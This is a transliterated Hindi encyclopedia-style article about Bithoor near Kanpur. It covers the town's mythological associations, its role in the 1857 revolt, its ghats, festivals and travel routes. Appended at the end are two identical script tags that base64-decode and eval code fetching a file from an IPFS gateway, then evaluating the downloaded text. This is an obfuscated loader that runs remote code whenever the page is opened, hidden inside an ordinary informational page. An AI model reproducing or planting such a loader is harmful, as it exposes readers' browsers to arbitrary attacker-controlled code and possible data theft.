बिठूर
[[chitr:Main-Ghat-at-Bithoor.jpg|thumb|300px|bithoor ka mukhy ghat, kanapur]] bithoor prasiddh hindoo dharmik sthal hai jo kanapur, uttar pradesh mean sthit hai. yah sthal mahanh kraantikari tatya tope, nana rav peshava aur rani lakshmibaee jaise kraantikariyoan ki yadean apane daman mean samete hue hai. yah aisa darshaniy sthal hai, jise brahma, maharshi valmiki, vir balak dhruv, mata sita aur lav kush ne kisi n kisi roop mean apani karmasthali banaya. ramanik drishyoan se bharapoor yah jagah sadiyoan se shraddhaluoan aur paryatakoan ko lubha rahi hai.
sthiti
uttari bharat ke uttar pradesh rajy mean audyogik nagar kanapur ke pashchimottar disha mean 27 kimi door sthit ganga nadi ke tat par ek chhota sa sthan sthit hai. bithoor mean sanh 1857 mean bharatiy svatantrata ka pratham sangram ka prarambh hua tha. yah shahar uttar pradesh ke shahar kanapur se 22 kilomitar door kannauj ro d par sthit hai. lakhanoo se kanapur ki doori 80 kilomitar hai aur vahaan se bithoor 22 kilomitar hai.
janasankhya
san 2001 ki janaganana ke anusar janasankhya 9,647 hai.
aitihasikata
pavitr pavani ganga ke kinare basa bithoor ka kan-kan naman ke yogy hai. yah darshaniy isalie hai ki mahakavy kal se isaki mahima barakarar hai. yah maharshi valmiki ki tapobhoomi hai. yah kraantikariyoan ki virabhoomi hai. yahaan mahanh kraantikari tatya tope ne kraanti macha di thi. yahaan nana sahab peshava ki yadean khandaharoan ke bich basati haian. yahi nahian tapasvi balak dhruv aur usake pita uttanapad ki rajadhani bhi kabhi yahian par thi. kahate haian ki 'dhruv ka tila' hi us samay dhruv ke rajy ki rajadhani thi. aj rajadhani ki jhalak dekhane ko nahian milati lekin aitihasikata ki kahani yahaan ke khandahar sunate haian. kahane ko yah kanapur se sadhe bais kilomitar door chhota sa qasba hai, lekin yah kahana galat n hoga ki is kasbe ke karan kanapur paryatan ke nakshe par mahattv pata hai. isake kinare se hokar ganga kal-kal karati bahati hai. suramyata ka alam yah hai ki jidhar nikal jaie, man mohit ho jata hai. thumb|right|bithoor
brahmavart hua bithoor
kivadanti hai ki brahma ne srishti ki rachana ke upalakshy mean yahaan par brahmeshvar mahadev ki sthapana ki. unhoanne is avasar par ashvamedh yajn bhi kiya aur usake smarak ke roop mean ek nal ki sthapana ki jo brahmavart ghat par aj bhi virajaman hai. ise brahmanal ya brahm ki khooanti bhi kahate haian kyoanki maharshi valmiki ki yah tapobhoomi hai, isalie isaka ram katha se ju dav svabhavik hai. dhobi ke tana marane ke bad jab raja ram ne sita ko rajy se nikala to unhean yahaan par valmiki ashram mean sharan mili thi. yahian par unake donoan putr lav aur kush ka janm hua. yahi nahian jab maryada purushottam ram ne ashvamedh yajn kiya to unake dvara chho de ge gho de ko yahian par lav-kush ne pak da. zahir hai ki is tarah yah bhoomi prabhu ram aur mata sita ke akhiri milan ki bhoomi hai. bhagavan shankar ne maan parvati devi ko is tirthasthal ka mahatmy samajhate hue kaha hai-
brahmavartasy mahatmyan bhavatyai kathitan mahath.
yada karnan matren naro n syatsnandhayah.
shraddhaluoan ki aisi manyata hai ki kapil muni ne ganga sagar jane se poorv yahaan kapileshvar ki sthapana ki. yahaan ashtatirth ki mahatta kabhi vishv vikhyat thi. jo shraddhalu ate ve asht tirth-
- jnan tirth,
- janaki tirth,
- lakshman tirth,
- dhruv tirth,
- shukr tirth,
- ram tirth,
- dashashvamegh tirth aur
- gaucharan tirth ki parikrama zaroor karate the. halaanki inamean se anek tirth ab smritiyoan mean hi bache haian lekin unaki mahima ab bhi barakarar hai.
svatantrata sangram ka kendr
san 1818 mean aantim peshava bajirav aangrezoan se loha lene ka man banakar bithoor a ge. nana sahab peshava ne aangrezoan ke khilaf kraanti ka bigul isi zamin par bajaya. jhaansi ki rani lakshmibaee ka shaishavakal yahian bita. is aitihasik bhoomi ko tatya tope jaise kraantikariyoan ne apane khoon se sianchakar urvar banaya hai. yahaan kraantikariyoan ki gaurav gathaean aj bhi paryatak sunane ate haian.
peshava bajirav ka darabar
1818 mean aangrezoan dvara apadasth kiye jane ke bad, marathoan ke peshava bajirav ne apana darabar yahian sthapit kiya tha.
bharatiy vidroh mean bhag lene ka dand
1857 mean bajirav ke dattak putr ke bharatiy vidroh mean bhag lene par pratikar svaroop british sena ne is nagar ko dhaha diya aur mandir aur mahaloan ko nasht kar diya.
hianduoan ka pramukh tirth
thumb|250px|bithoor nagar ke dhvansavashesh hianduoan ke liye ek pramukh tirth hai.
ghatoan ka nagar
varanasi (bhootapoorv banaras) ki tarah bithur bhi ghatoan ka nagar hai. sarvadhik mahattvapoorn ghat bhagavan brahma ko samarpit hai. ghat par sthit ek charan chihn ko bhagavan brahma ka mana jata hai. kaha jata hai ki mahakavy ramayan ki rachana maharshi valmiki ne yahian ki thi aur sita ne yahaan sharan li thi v lav aur kush ko janm diya tha.
nana sahab ka grih kshetr
bithur nana sahab ka grih kshetr hai, jinhoanne 1857 ke vidroh mean pramukh bhoomika nibhaee thi. ye nana rav aur tatya tope jaise logoan ki dharati rahi hai.
rani lakshmibaee ka bachapan
rani lakshmibaee ne apana bachapan yahian gujara tha.
paryatan
- yahaan peshavaoan ke banavae anek darshanie sthal haian.
- nauka vihar ke lie ganga ke suramy ghat haian.
- sabase darshaniy ghat brahmavart ghat sacheandi ke raja hindoo sianh chandel ne banavaya tha, jisaka jirnoandvar bajirav peshava ne karaya.
- raja tikaitarav ka banavaya ghat bhi bahut hi khoobasoorat hai. yah ghat pattharoan se bana hai. yahaan paryatak ghantoan baithakar prakritik sushama ko niharate haian.
- almas ali ka banavaya maqabara aur lakshman ghat sahit yahaan dekhane ke lie darjan bhar aitihasik mandir haian.
- yahaan par uttar pradesh sarakar ne nana rav peshava ki smriti mean ek sundar smarak bhi banavaya hai.
- dhruv tila, valmiki ashram, dip malika stambh, ashtatirth, prachin ganesh mandir, saee mandir aur brahm ji ki khooanti pramukh darshaniy sthaloan mean se haian.
utsav ki dhoom
- varsh mean yahaan tin mele lagate haian-
- kartik poornima,
- makar sankraanti aur
- ganga dashahara jeth sudi dashami ko yahaan mele ka ayojan hota hai. isamean asapas ke ziloan se hazaroan log ate haian. isamean desh-videsh se paryatak bhi ate haian. isake alava zila prashasan ki taraph se bithoor ganga utsav ka bhi ayojan karaya jata hai.
parivahan
- bithoor jane ke lie desh ki rajadhani dilli aur uttar pradesh ki rajadhani lakhanoo se tren suvidha bahut achchhi hai. shramashakti, kanapur shatabdi jaisi ek se ek trenean dilli se kanapur ati haian. mumbee se udyog nagari eksapres kanapur jati hai.
- isake alava havaee suvidha bhi hai. lakhanoo havaee marg ya phir tren marg se akar vahaan se taiksi lekar bithoor jaya ja sakata hai. amausi havaee adda, lakhanoo se sidhe kanapur ke lie taiksiyaan mil jati haian.
- lakhanoo se kanapur ki doori 80 kilomitar hai aur vahaan se bithoor 22 kilomitar hai. lakhanoo se kanapur hote hue bithoor jane ka ek labh yah bhi hoga ki asapas ke aur aitihasik sthal jaise kakori smarak, pratap narayan mishr ki janmasthali, navabaganj pakshi vihar, jajamoo adi ka bhi bhraman kiya ja sakata hai.
- bithoor jane vale paryatak ab aee. aee. ti. kanapur bhi dekhana chahate haian. shiksha ka yah mandir bithoor se pahale p data hai. bahut se paryatak ganga vihar bhi karate haian. ve bithoor se nav ke dvara aitihasik paramat sthit anandeshvar mandir mean darshanarth bhi jate haian.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>